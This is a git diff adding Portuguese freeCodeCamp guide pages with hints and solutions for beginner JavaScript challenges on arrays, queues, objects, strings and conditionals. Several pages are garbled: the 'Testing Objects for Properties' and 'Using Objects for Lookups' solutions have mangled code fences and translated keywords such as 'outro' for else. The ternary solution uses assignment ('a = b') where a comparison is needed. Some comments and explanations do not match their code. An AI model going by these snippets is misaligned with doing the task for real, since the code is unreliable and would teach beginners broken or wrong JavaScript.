+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Uma matriz multidimensional teria o seguinte esquema `[[]]` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Cada sub-array deve ser separado por `,` como qualquer item de uma matriz.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Não esqueça o `;` no final da sua declaração.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+var myList = [["Canned Beans", 3],["Milk Galon", 1],["Cereal", 2],["Toilet Paper", 12],["Sack of Rice", 1]]; 
+```
+
+### Explicação do código:
+
+*   Uma matriz multidimensional é criada.
+*   A matriz consiste de cinco matrizes no interior, cada uma composta de uma string e um inteiro, na mesma ordem.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
new file mode 100644
index 0000000000..4dd7f63cc1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
@@ -0,0 +1,73 @@
+---
+title: Stand in Line
+localeTitle: Ficar na fila
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Na Ciência da Computação, uma _fila_ é uma **estrutura de dados** abstrata em que os itens são mantidos em ordem. Novos itens podem ser adicionados na parte de trás da **fila** e itens antigos são retirados da frente da **fila** .
+
+Escreva uma função `nextInLine` que recebe um array ( **arr** ) e um número ( **item** ) como argumentos. Adicione o número ao final da matriz e remova o primeiro elemento da matriz. A função `nextInLine` deve então retornar o elemento que foi removido.
+
+*   Altere o código abaixo `//Your Code here` e até `//Change this line` .
+*   Verifique se você está editando o interior da função `nextInLine` .
+*   Use uma função de matriz que você aprendeu a adicionar o **item** ao final da matriz **arr** .
+*   Use uma função de matriz que você aprendeu a remover o primeiro elemento da matriz **arr** .
+*   Retorna o elemento removido.
+
+#### Links Relevantes
+
+*   [Desafio: manipular matrizes com push ()](http://www.freecodecamp.com/challenges/manipulate-arrays-with-push)
+*   [Desafio: Manipular Arrays Com Shift ()](http://www.freecodecamp.com/challenges/manipulate-arrays-with-shift)
+*   [Desafio: passando valores para funções com argumentos](http://www.freecodecamp.com/challenges/passing-values-to-functions-with-arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+O método `push()` adiciona um item ao final de um array.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+O método `shift()` remove o primeiro elemento de uma matriz. Também retorna o elemento removido.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+A função `nextInLine` usa **arr** e **item** . Esses são os testes que serão usados ​​para transmitir os elementos da matriz com os quais eles testarão. Permite que a função seja reutilizável. Não codifique qualquer um dos testes dentro da função.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function nextInLine(arr, item) { 
+  // Your code here 
+  arr.push(item); 
+  var removed = arr.shift(); 
+  return removed;  // Change this line 
+ } 
+```
+
+### Explicação do código:
+
+*   Empurrar **item** no final do **arr** .
+*   Chame o método `shift()` na **arr** para obter o primeiro item e armazene-o em **removido** .
+*   Retornar **removido** .
+
+**Exemplo de Execução**
+
+*   Teste `nextInLine([2,1]);` corre.
+*   A função `nextInLine` é chamada. **arr** se torna \[2\]. **item** se torna 1.
+*   `arr.push(item);` Empurra de 1 a \[2\]. Então **arr** é agora \[2,1\].
+*   `var removed = arr.shift();` remove o primeiro elemento. Então **arr** é agora \[1\]. 2 foi removido e é armazenado em **removido** .
+*   `return removed;` 2 é retornado.
+
+**_Nota_** : Você não precisa realmente da variável **removida** . O elemento removido pode ser retornado diretamente usando o `return arr.shift();` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..1febf0d002
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,17 @@
+---
+title: Store Multiple Values in one Variable using JavaScript Arrays
+localeTitle: Armazenar vários valores em uma variável usando matrizes JavaScript
+---
+## Armazenar vários valores em uma variável usando matrizes JavaScript
+
+Arrays permitem que você armazene muitos dados diferentes, dentro de uma única variável. Tudo o que você precisa fazer é colocar os dados no array, separados por vírgulas. Igual a…
+
+```javascript
+var arr = ["Code for change", 123]; 
+```
+
+Lembre-se, uma matriz é definida como uma linha de coisas. Você está armazenando dados diferentes em uma única 'linha' (variável).
+
+Verifique este link se precisar de mais ajuda:
+
+[Matrizes JavaScript em escolas W3](https://www.w3schools.com/js/js_arrays.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..d3200da948
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
@@ -0,0 +1,15 @@
+---
+title: Storing Values with the Assignment Operator
+localeTitle: Armazenando Valores com o Operador de Atribuição
+---
+## Armazenando Valores com o Operador de Atribuição
+
+É como matemática! Você pode definir uma variável para agir como um espaço reservado para dados usando o operador de atribuição '='. Em outras palavras, a variável armazenará os dados.
+```
+var a; 
+ a = 5; // The variable 'a' is equal to 5 
+ 
+ var zxcv; 
+ zxcv = 123; // The variable 'abc' is equal to 123 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..0e79d2aea3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: Subtrair um número de outro com JavaScript
+---
+## Subtrair um número de outro com JavaScript
+
+Usando o operador de subtração '-', você pode obter a diferença de dois números…
+```
+var diff1 = 30 - 14; // Difference is 16 
+ var diff2 = 90 - 60; // Difference is 30 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
new file mode 100644
index 0000000000..32d4677bad
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
@@ -0,0 +1,64 @@
+---
+title: Testing Objects for Properties
+localeTitle: Testando Objetos para Propriedades
+---
+## Testando Objetos para Propriedades
+
+Aqui está o exemplo:
+
+```javascript
+// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+ 
+ function checkObj(checkProp) { 
+  // Your Code Here 
+ 
+  return "Change Me!"; 
+ } 
+ 
+ // Test your code by modifying these values 
+ checkObj("gift"); 
+```
+
+Aqui está uma solução:
+
+Nós não mudamos nada aqui:
+
+```javascript
+// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+```
+
+além disso, no corpo da função, usamos o `.hasOwnProperty(propname)` dos objetos para determinar se esse objeto tem o nome da propriedade fornecido. `if/else` declaração com valores booleanos nos ajudará nisso:
+
+```javascript
+function checkObj(checkProp) { 
+  // Your Code Here 
+  if (myObj.hasOwnProperty(checkProp) == true) { 
+    return myObj[checkProp]; 
+  } 
+  else { 
+ ``` 
+ 
+ and change the value of `return` in `else` statement: 
+```
+
+javascript return "Não encontrado" } }
+```
+Now, you can change `checkObj` values: 
+```
+
+javascript // Teste seu código modificando esses valores checkObj ("presente");
+```
+Here's a full solution: 
+```
+
+javascript function checkObj (checkProp) { // seu código aqui if (myObj.hasOwnProperty (checkProp) == true) { return myObj \[checkProp\]; } outro { return "Não encontrado" } } // Teste seu código modificando esses valores checkObj ("presente"); \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
new file mode 100644
index 0000000000..f10a38e422
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand String Immutability
+localeTitle: Entenda a imutabilidade da corda
+---
+## Entenda a imutabilidade da corda
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
new file mode 100644
index 0000000000..1fb52bab74
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
@@ -0,0 +1,42 @@
+---
+title: Understanding Boolean values
+localeTitle: Entendendo valores booleanos
+---
+## Entendendo valores booleanos
+
+### Explicação do problema:
+
+Modifique a função `welcomeToBooleans` para que ela retorne `true` vez de `false` quando o botão de execução for clicado.
+
+### Sugestão 1
+
+Você só precisa editar a linha 5 para que a função retorne `true` vez de `false` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+function welcomeToBooleans() { 
+ 
+ // Only change code below this line. 
+ 
+ return true; // Change this line 
+ 
+ // Only change code above this line. 
+ } 
+```
+
+### Explicação de código
+
+Apenas modificar o valor `Boolean` você não quer que a função retorne de `false` para `true` atenderá aos requisitos.
+
+### Recursos
+
+[Glossário MDN - Booleano](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+
+[Wikipedia - Tipo de dados booleano](https://en.wikipedia.org/wiki/Boolean_data_type)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
new file mode 100644
index 0000000000..aec2e4d0ca
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
@@ -0,0 +1,14 @@
+---
+title: Understanding Case Sensitivity in Variables
+localeTitle: Entendendo a sensibilidade do caso em variáveis
+---
+## Entendendo a sensibilidade do caso em variáveis
+
+Uma norma de programação popular é usar o **caso do Camel** ao criar nomes de variáveis. Observe que a primeira palavra é minúscula e toda palavra seguinte é maiúscula. aqui estão alguns exemplos:
+```
+var camelCase; 
+ var someNumber; 
+ var theBestVariableEver; 
+ var weWillStoreNumbersInThisVariable; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
new file mode 100644
index 0000000000..e95b16ee8c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
@@ -0,0 +1,22 @@
+---
+title: Understanding Undefined Value returned from a Function
+localeTitle: Entendendo o valor indefinido retornado de uma função
+---
+## Entendendo o valor indefinido retornado de uma função
+
+Uma função sem instrução de `return` , possui uma saída `undefined` . Então, se você tentar igualar uma variável à saída de uma função sem instrução de `return` , essa variável será igual a `undefined` .
+
+Vá em frente e defina `addFive()` assim…
+
+```javascript
+function addFive() { 
+  sum += 5; 
+ } 
+```
+
+Como você pode ver, `sum` é adicionada por 5 sem problemas, mas como não há instrução de retorno, há uma saída `undefined` .
+
+```javascript
+var result = addFive(); // This is undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
new file mode 100644
index 0000000000..c1464eb7c2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
@@ -0,0 +1,7 @@
+---
+title: Understanding Uninitialized Variables
+localeTitle: Noções básicas sobre variáveis ​​não inicializadas
+---
+## Noções básicas sobre variáveis ​​não inicializadas
+
+Certifique-se de que a variável tenha o valor de dados correto. Deixar uma variável não inicializada, significando que você não atribui a ela um valor, pode causar problemas se você quiser fazer operações nela.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
new file mode 100644
index 0000000000..5eb12335e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
@@ -0,0 +1,28 @@
+---
+title: Updating Object Properties
+localeTitle: Atualizando Propriedades do Objeto
+---
+## Atualizando Propriedades do Objeto
+
+## Dica:
+
+Use ponto \*\*. \*\* notação para acessar a propriedade do objeto.
+
+## Alerta de Spoiler: Solução à frente!
+
+## Solução:
+
+```javascript
+// Setup 
+ var myDog = { 
+  "name": "Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ 
+ myDog.name = "Happy Coder"; // Solution 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
new file mode 100644
index 0000000000..61a6132d8d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
@@ -0,0 +1,12 @@
+---
+title: Use Bracket Notation to Find the First Character in a String
+localeTitle: Use a notação de suporte para localizar o primeiro caractere em uma seqüência de caracteres
+---
+## Use a notação de suporte para localizar o primeiro caractere em uma seqüência de caracteres
+
+Lembre-se de que o primeiro caractere de uma string está na posição zero-th. Por exemplo:
+```
+var str = "Hello"; 
+ var letter = str[0]; // This equals "H" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..26c1daea0e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
@@ -0,0 +1,19 @@
+---
+title: Use Bracket Notation to Find the Last Character in a String
+localeTitle: Use a notação de suporte para localizar o último caractere em uma string
+---
+## Use a notação de suporte para localizar o último caractere em uma string
+
+Considere a seguinte string:
+```
+var str = "Coding"; 
+```
+
+Esta string tem um comprimento de 6 caracteres, então se você usar .length na string, ela dará a você 6. Mas lembre-se que o primeiro caractere está na posição zero-th. O segundo personagem está na primeira posição. O terceiro personagem está na segunda posição.
+
+Continue em frente e, eventualmente, você verá que o sexto caractere (que, com base na string acima, é 'g') está na quinta posição. É por isso que você obtém o último caractere de uma string, com:
+```
+var lastChar = str[str.length - 1]; // This is 6 - 1, which is 5 
+```
+
+Isso será 'g'.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
new file mode 100644
index 0000000000..5ab6930572
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
@@ -0,0 +1,7 @@
+---
+title: Use Bracket Notation to Find the Nth Character in a String
+localeTitle: Use a notação de suporte para localizar o caractere Nth em uma seqüência de caracteres
+---
+## Use a notação de suporte para localizar o caractere Nth em uma seqüência de caracteres
+
+Lembre-se de que o primeiro caractere de uma string está na 0ª posição. Então o segundo personagem deve estar na primeira posição. Então o terceiro personagem, deveria estar no ... hmmm?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..6637a6640f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
@@ -0,0 +1,13 @@
+---
+title: Use Bracket Notation to Find the Nth-to-Last Character in a String
+localeTitle: Use a notação de suporte para localizar o caractere N-para-último em uma seqüência de caracteres
+---
+## Use a notação de suporte para localizar o caractere N-para-último em uma seqüência de caracteres
+
+Lembre-se de que a posição de qualquer caractere é o **comprimento da string, menos um, menos o número de caracteres depois dela** . Por exemplo, se você estiver tentando encontrar o terceiro ao último caractere da seguinte cadeia:
+```
+var str = "Programming"; 
+ var secondToLastChar = str[str.length - 2]; // This is 'i' 
+```
+
+Como você pode ver, há um caractere extra depois de 'n' (e isso é 'g').
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
new file mode 100644
index 0000000000..29d85d72c1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
@@ -0,0 +1,53 @@
+---
+title: Use conditional logic with If statements
+localeTitle: Use lógica condicional com instruções If
+---
+## Use lógica condicional com instruções If
+
+### Explicação do problema:
+
+_Crie uma declaração `if` dentro da função para retornar `"Yes, that was true"` se o parâmetro `wasThatTrue` for `true` e retornar `"No, that was false"` caso contrário._
+
+#### Sugestão 1
+
+Sua instrução `if` avaliará se sua `(condition)` é `true` ou `false` e executará (se ela for avaliada como `true` ) a `{statement}` declarada logo após ela.
+
+> _tente resolver o problema agora_
+
+#### Sugestão 2
+
+Caso sua `(condition)` avaliada como `false` a `{statement}` não será executada e a função retornará a próxima declaração de `return` .
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+// Setup 
+ function trueOrFalse(wasThatTrue) { 
+ 
+  // Only change code below this line. 
+ 
+  if (wasThatTrue) 
+   { 
+    return "Yes, that was true"; 
+    } 
+  return "No, that was false"; 
+ 
+  // Only change code above this line. 
+ } 
+```
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `(wasThatTrue)` avaliada como `true` . Se isso acontecer, retornará a instrução entre as chaves. Caso contrário, retorna a próxima instrução de `return` fora deles.
+
+### Recursos
+
+*   ["Boolean" - Glossário MDN](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+    
+*   ["if… else" - Referência do MDN JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..2033b14e8b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Multiple Conditional (Ternary) Operators
+localeTitle: Use vários operadores condicionais (ternários)
+---
+## Use vários operadores condicionais (ternários)
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
new file mode 100644
index 0000000000..fbbc73025f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the Conditional (Ternary) Operator
+localeTitle: Use o operador condicional (ternário)
+---
+## Use o operador condicional (ternário)
+
+### Sugestão 1
+
+Use o operador ternário para verificar a igualdade.
+
+### Solução de aviso à frente !!!
+
+```javascript
+function checkEqual(a, b) { 
+  return (a = b ? true : false ); 
+ } 
+ 
+ checkEqual(1, 2); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
new file mode 100644
index 0000000000..9f53a71dd2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function with a Radix
+localeTitle: Use a função parseInt com uma base
+---
+## Use a função parseInt com uma base
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
new file mode 100644
index 0000000000..8a15fe163e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function
+localeTitle: Use a função parseInt
+---
+## Use a função parseInt
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
new file mode 100644
index 0000000000..849b308522
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
@@ -0,0 +1,73 @@
+---
+title: Using Objects for Lookups
+localeTitle: Usando objetos para pesquisas
+---
+## Usando objetos para pesquisas
+
+Aqui está o exemplo:
+
+```javascript
+// Setup 
+ function phoneticLookup(val) { 
+  var result = ""; 
+ 
+  // Only change code below this line 
+  switch(val) { 
+    case "alpha": 
+      result = "Adams"; 
+      break; 
+    case "bravo": 
+      result = "Boston"; 
+      break; 
+    case "charlie": 
+      result = "Chicago"; 
+      break; 
+    case "delta": 
+      result = "Denver"; 
+      break; 
+    case "echo": 
+      result = "Easy"; 
+      break; 
+    case "foxtrot": 
+      result = "Frank"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ phoneticLookup("charlie"); 
+```
+
+Aqui está uma solução: Nós não mudamos nada aqui:
+
+```javascript
+function phoneticLookup(val) { 
+  var result = ""; 
+```
+
+Precisamos converter a instrução switch em um objeto. Transfira todos os valores de `case` para propriedades de objeto:
+
+```javascript
+function phoneticLookup(val) { 
+  var result = ""; 
+  var lookup = { 
+    "alpha": "Adams", 
+    "bravo": "Boston", 
+    "charlie": "Chicago", 
+    "delta": "Denver", 
+    "echo": "Easy", 
+    "foxtrot": "Frank" 
+  }; 
+  ``` 
+ After converting our case statements into object properties you can make use of the variable `result` to let the function return the correct value. 
+```
+
+javascript resultado = pesquisa \[val\]; \`\` \`
+
+· Executar código no [repl.it.](https://repl.it/@AdrianSkar/Using-objects-for-lookups)
+
+### Recursos
+
+*   ["Princípios básicos do objeto JavaScript" - _referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
new file mode 100644
index 0000000000..e5eca5a310
--- /dev/null
